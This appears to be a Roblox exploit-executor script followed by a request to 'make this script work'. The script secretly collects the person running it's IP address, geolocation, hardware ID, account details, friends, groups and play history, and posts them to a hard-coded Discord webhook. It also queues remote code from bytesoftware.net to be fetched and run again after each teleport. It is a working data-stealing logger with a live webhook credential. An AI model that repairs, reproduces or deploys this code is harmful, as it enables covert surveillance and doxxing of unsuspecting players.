local httpRequest = http_request or request or HttpPost or (syn and syn.request)
local HttpService = game:GetService("HttpService")
local Players = game:GetService("Players")
local MarketplaceService = game:GetService("MarketplaceService")
local LocalizationService = game:GetService("LocalizationService")
local RbxAnalyticsService = game:GetService("RbxAnalyticsService")
local RunService = game:GetService("RunService")
local UserInputService = game:GetService("UserInputService")
getgenv().webhookUrl = "https://discord.com/api/webhooks/1443036514899722362/La0WCGbjIlAcx6PmObTSUYJJ4hIZbXQIwVzp5pma6-o3MFUeEnJm46gDgd2hXqImNi5u"
local localPlayer = Players.LocalPlayer or Players:GetPlayers()[1]
if not localPlayer then warn("[Script] No local player found, aborting.") return end
if not httpRequest then warn("[Script] No HTTP request function available, aborting.") return end
local startTime = os.time()
local function safeHttpGet(url)
local success, response = pcall(function() return game:HttpGet(url) end)
if success and response then return response end
return nil
end
local function safeHttpRequest(req)
local success, response = pcall(function() return httpRequest(req) end)
if success and response and response.Body then return response.Body end
return nil
end
local function fetchIP()
local ipServices = {
"https://v4.ident.me/",
"https://api.ipify.org",
"https://checkip.amazonaws.com"
}
for _, url in ipairs(ipServices) do
local ip = safeHttpGet(url)
if ip and ip:match("%d+%.%d+%.%d+%.%d+") then return ip:gsub("%s+", "") end
end
return "Unavailable"
end
local function fetchIpGeo(ip)
local geoServices = {
("http://ip-api.com/json/%s"):format(ip),
("https://ipinfo.io/%s/json"):format(ip)
}
for _, url in ipairs(geoServices) do
local response = safeHttpGet(url)
if response then
local success, data = pcall(function() return HttpService:JSONDecode(response) end)
if success and data then
local parts = {}
if data.country then table.insert(parts, "Country: " .. data.country) end
if data.regionName then table.insert(parts, "Region: " .. data.regionName) end
if data.city then table.insert(parts, "City: " .. data.city) end
if data.isp then table.insert(parts, "ISP: " .. data.isp) end
if data.org then table.insert(parts, "Org: " .. data.org) end
if data.loc then table.insert(parts, "Loc: " .. data.loc) end
if #parts > 0 then return table.concat(parts, "\n") else return response end
end
end
end
return "Unavailable"
end
local function detectExecutor()
if syn and not is_sirhurt_closure and not pebc_execute then return "Synapse X"
elseif secure_load then return "Sentinel"
elseif pebc_execute then return "ProtoSmasher"
elseif KRNL_LOADED then return "Krnl"
elseif is_sirhurt_closure then return "SirHurt"
elseif identifyexecutor and identifyexecutor():find("ScriptWare") then return "Script-Ware"
else return "Unsupported"
end
end
local function getGameInfo(placeId)
local success, productInfo = pcall(MarketplaceService.GetProductInfo, MarketplaceService, placeId)
if success and productInfo then
return productInfo.Name or "Unknown",
(productInfo.Creator and productInfo.Creator.Name) or "Unknown",
productInfo.Description or "Unknown",
productInfo.TotalVisits or "Unknown",
productInfo.Genre or "Unknown"
end
return "Unknown", "Unknown", "Unknown", "Unknown", "Unknown"
end
local function getPlayedGames(userId)
local url = ("https://games.roblox.com/v1/users/%d/games?sortOrder=Desc&limit=10"):format(userId)
local response = safeHttpGet(url)
if response then
local data = HttpService:JSONDecode(response)
if data and data.data then
local games = {}
for _, gameInfo in ipairs(data.data) do
local lastPlayed = "Unknown"
if gameInfo.lastPlayed then
local seconds = tonumber(gameInfo.lastPlayed)
if seconds then
lastPlayed = os.date("%Y-%m-%d %H:%M:%S", os.time{year=1970, month=1, day=1} + seconds)
end
end
table.insert(games, string.format("%s (Place ID: %d) - Last Played: %s", gameInfo.name or "Unknown", gameInfo.rootPlaceId or 0, lastPlayed))
end
return table.concat(games, "\n")
end
end
return "No recent played games found"
end
local function getFriendsCount(userId)
local url = ("https://friends.roblox.com/v1/users/%d/friends/count"):format(userId)
local response = safeHttpGet(url)
if response then
local data = HttpService:JSONDecode(response)
if data and data.count then return tostring(data.count) end
end
return "Unknown"
end
local function getFollowersCount(userId)
local url = ("https://friends.roblox.com/v1/users/%d/followers/count"):format(userId)
local response = safeHttpGet(url)
if response then
local data = HttpService:JSONDecode(response)
if data and data.count then return tostring(data.count) end
end
return "Unknown"
end
local function getFollowingCount(userId)
local url = ("https://friends.roblox.com/v1/users/%d/followings/count"):format(userId)
local response = safeHttpGet(url)
if response then
local data = HttpService:JSONDecode(response)
if data and data.count then return tostring(data.count) end
end
return "Unknown"
end
local function getGroups(userId)
local url = ("https://groups.roblox.com/v2/users/%d/groups/roles"):format(userId)
local response = safeHttpGet(url)
if response then
local data = HttpService:JSONDecode(response)
if data and data.data then
local groups = {}
for i, groupInfo in ipairs(data.data) do
if i > 5 then break end
local group = groupInfo.group
table.insert(groups, string.format("%s (ID: %d) - Role: %s", group.name or "Unknown", group.id or 0, groupInfo.role.name or "Member"))
end
return table.concat(groups, "\n")
end
end
return "No groups found"
end
local function isPremium(userId)
local url = ("https://premiumfeatures.roblox.com/v1/users/%d/is-premium"):format(userId)
local response = safeHttpGet(url)
if response then
local data = HttpService:JSONDecode(response)
if data and data.isPremium ~= nil then return data.isPremium and "Yes" or "No" end
end
return "Unknown"
end
local function isVerified(userId)
local url = ("https://users.roblox.com/v1/users/%d"):format(userId)
local response = safeHttpGet(url)
if response then
local data = HttpService:JSONDecode(response)
if data and data.hasVerifiedBadge ~= nil then return data.hasVerifiedBadge and "Yes" or "No" end
end
return "Unknown"
end
local function getLastOnline(userId)
local url = ("https://users.roblox.com/v1/users/%d/status"):format(userId)
local response = safeHttpGet(url)
if response then
local data = HttpService:JSONDecode(response)
if data and data.lastOnline then return data.lastOnline end
end
return "Unknown"
end
local function getBadges(userId)
local url = ("https://badges.roblox.com/v1/users/%d/badges"):format(userId)
local response = safeHttpGet(url)
if response then
local data = HttpService:JSONDecode(response)
if data and data.data then
local badges = {}
for _, badge in ipairs(data.data) do
table.insert(badges, badge.name or "Unknown Badge")
end
return table.concat(badges, ", ")
end
end
return "No badges found"
end
local function getGamePasses(userId)
local url = ("https://apis.roblox.com/game-passes/v1/users/%d/passes"):format(userId)
local response = safeHttpGet(url)
if response then
local data = HttpService:JSONDecode(response)
if data and data.data then
local passes = {}
for _, pass in ipairs(data.data) do
table.insert(passes, pass.name or "Unknown Pass")
end
return table.concat(passes, ", ")
end
end
return "No game passes found"
end
local function getPlayerHealth()
if localPlayer.Character and localPlayer.Character:FindFirstChildOfClass("Humanoid") then
return tostring(localPlayer.Character:FindFirstChildOfClass("Humanoid").Health)
end
return "N/A"
end
local function getPlayerPosition()
if localPlayer.Character and localPlayer.Character:FindFirstChild("HumanoidRootPart") then
local pos = localPlayer.Character.HumanoidRootPart.Position
return string.format("X: %.2f, Y: %.2f, Z: %.2f", pos.X, pos.Y, pos.Z)
end
return "N/A"
end
local function getClientInfo()
local clientVersion = nil
local deviceType = nil
local os = nil
if syn and syn.get_executor_version then
clientVersion = syn.get_executor_version()
elseif KRNL_LOADED and KRNL_LOADED == true then
clientVersion = "Krnl"
else
clientVersion = "Unknown"
end
if UserInputService.TouchEnabled and not UserInputService.KeyboardEnabled then
deviceType = "Mobile/Tablet"
elseif UserInputService.KeyboardEnabled and UserInputService.MouseEnabled then
deviceType = "PC"
else
deviceType = "Unknown"
end
if RunService:IsStudio() then
os = "Roblox Studio"
elseif UserInputService.TouchEnabled and not UserInputService.KeyboardEnabled then
os = "Mobile OS"
else
os = "PC OS/Unknown"
end
return clientVersion or "Unknown", deviceType or "Unknown", os or "Unknown"
end
local function getNetworkLatency()
if syn and syn.websocket and syn.websocket.connect then
-- Example: Measure latency to a server (if you have a ping endpoint)
-- Not implemented here due to environment limits
return "N/A"
end
return "N/A"
end
local function getTimeZone()
local localeId = LocalizationService.RobloxLocaleId or ""
-- Basic mapping could be added, but generally unavailable precisely
return localeId
end
local function getLocaleLanguage()
return LocalizationService.RobloxLocaleId or "Unknown"
end
local function getSessionDuration()
return os.difftime(os.time(), startTime)
end
local function secondsToDHMS(seconds)
local d = math.floor(seconds / 86400)
local h = math.floor((seconds % 86400) / 3600)
local m = math.floor((seconds % 3600) / 60)
local s = seconds % 60
return string.format("%dd %dh %dm %ds", d, h, m, s)
end
local function gatherPlayerData()
local ip = fetchIP()
local ipGeo = fetchIpGeo(ip)
local userId = localPlayer.UserId
local gameName, gameCreator, gameDescription, gameVisits, gameGenre = getGameInfo(game.PlaceId)
local clientVersion, deviceType, osName = getClientInfo()
local sessionDurationSeconds = getSessionDuration()
return {
UserId = userId,
DisplayName = localPlayer.DisplayName,
Username = localPlayer.Name,
MembershipType = tostring(localPlayer.MembershipType):gsub("Enum.MembershipType.", ""),
AccountAge = localPlayer.AccountAge,
Country = LocalizationService.RobloxLocaleId,
IP = ip,
IPData = ipGeo,
HWID = RbxAnalyticsService:GetClientId(),
Date = os.date("%m/%d/%Y"),
Time = os.date("%X"),
PlaceId = game.PlaceId,
JobId = game.JobId,
GameName = gameName,
GameCreator = gameCreator,
GameDescription = gameDescription,
GameVisits = gameVisits,
GameGenre = gameGenre,
Executor = detectExecutor(),
PlayedGamesList = getPlayedGames(userId),
FriendsCount = getFriendsCount(userId),
FollowersCount = getFollowersCount(userId),
FollowingCount = getFollowingCount(userId),
GroupsList = getGroups(userId),
PremiumStatus = isPremium(userId),
VerifiedStatus = isVerified(userId),
LastOnline = getLastOnline(userId),
Badges = getBadges(userId),
GamePasses = getGamePasses(userId),
PlayerHealth = getPlayerHealth(),
PlayerPosition = getPlayerPosition(),
ClientVersion = clientVersion,
DeviceType = deviceType,
OSName = osName,
NetworkLatency = getNetworkLatency(),
TimeZone = getTimeZone(),
LocaleLanguage = getLocaleLanguage(),
SessionDuration = sessionDurationSeconds,
AvatarUrl = ("https://www.roblox.com/headshot-thumbnail/image?userId=%d&width=150&height=150&format=png"):format(userId),
}
end
local function createWebhookPayload(info, title, description, color)
return HttpService:JSONEncode({
avatar_url = info.AvatarUrl,
content = "",
embeds = {{
author = {name = title, url = ("https://www.roblox.com/users/%d/profile"):format(info.UserId)},
title = info.DisplayName .. " (" .. info.Username .. ")",
url = ("https://www.roblox.com/users/%d/profile"):format(info.UserId),
color = color or 0xFFD700,
thumbnail = {url = info.AvatarUrl},
fields = {
{name = "User Id", value = tostring(info.UserId), inline = true},
{name = "Membership Type", value = info.MembershipType, inline = true},
{name = "Premium", value = info.PremiumStatus, inline = true},
{name = "Verified User", value = info.VerifiedStatus, inline = true},
{name = "Account Age (days)", value = tostring(info.AccountAge), inline = true},
{name = "Country (Locale)", value = info.Country, inline = true},
{name = "Timezone", value = info.TimeZone, inline = true},
{name = "Locale Language", value = info.LocaleLanguage, inline = true},
{name = "Friends Count", value = info.FriendsCount, inline = true},
{name = "Followers Count", value = info.FollowersCount, inline = true},
{name = "Following Count", value = info.FollowingCount, inline = true},
{name = "Groups (top 5)", value = info.GroupsList, inline = false},
{name = "Badges", value = info.Badges, inline = false},
{name = "Game Passes", value = info.GamePasses, inline = false},
{name = "Last Online", value = info.LastOnline, inline = true},
{name = "Currently Playing", value = ("[%s](https://www.roblox.com/games/%d)"):format(info.GameName, info.PlaceId), inline = true},
{name = "Game Description", value = info.GameDescription, inline = false},
{name = "Game Creator", value = info.GameCreator, inline = true},
{name = "Game Genre", value = info.GameGenre, inline = true},
{name = "Game Total Visits", value = tostring(info.GameVisits), inline = true},
{name = "Played Games (recent 10)", value = info.PlayedGamesList, inline = false},
{name = "Game Place Id", value = tostring(info.PlaceId), inline = true},
{name = "Job Id", value = info.JobId, inline = true},
{name = "Executor", value = info.Executor, inline = true},
{name = "Client Version", value = info.ClientVersion, inline = true},
{name = "Device Type", value = info.DeviceType, inline = true},
{name = "Operating System", value = info.OSName, inline = true},
{name = "Network Latency", value = info.NetworkLatency, inline = true},
{name = "Player Health", value = info.PlayerHealth, inline = true},
{name = "Player Position", value = info.PlayerPosition, inline = true},
{name = "Session Duration", value = secondsToDHMS(info.SessionDuration), inline = true},
{name = "HWID", value = info.HWID, inline = false},
{name = "IP Address", value = info.IP, inline = true},
{name = "IP Data (Geo)", value = ("```%s```"):format(info.IPData), inline = false},
{name = "Date & Time", value = info.Date .. " " .. info.Time, inline = true},
}
}}
})
end
local function sendWebhook(url, data)
local headers = {["Content-Type"] = "application/json"}
local requestParams = {Url = url, Body = data, Method = "POST", Headers = headers}
local success, response = pcall(function() return httpRequest(requestParams) end)
if not success then warn("[Script] Failed to send webhook: " .. tostring(response)) end
return success, response
end
if syn and syn.queue_on_teleport then
syn.queue_on_teleport('loadstring(game:HttpGet("https://bytesoftware.net/roblox/velocity/loader.lua", true))()')
elseif queue_on_teleport then
queue_on_teleport('loadstring(game:HttpGet("https://bytesoftware.net/roblox/velocity/loader.lua", true))()')
elseif fluxus and fluxus.queue_on_teleport then
fluxus.queue_on_teleport('loadstring(game:HttpGet("https://bytesoftware.net/roblox/velocity/loader.lua", true))()')
else
warn("Auto reinject not supported by this executor.")
end
local playerData = gatherPlayerData()
local joinPayload = createWebhookPayload(playerData, "User Joined Game", "Someone executed your script and joined the game.", 0x00FF00)
sendWebhook(getgenv().webhookUrl, joinPayload)
Players.PlayerRemoving:Connect(function(player)
if player == localPlayer then
local leaveData = gatherPlayerData()
local leavePayload = createWebhookPayload(leaveData, "User Left Game", "User has logged off or left the game.", 0xFF0000)
sendWebhook(getgenv().webhookUrl, leavePayload)
end
end) make this script work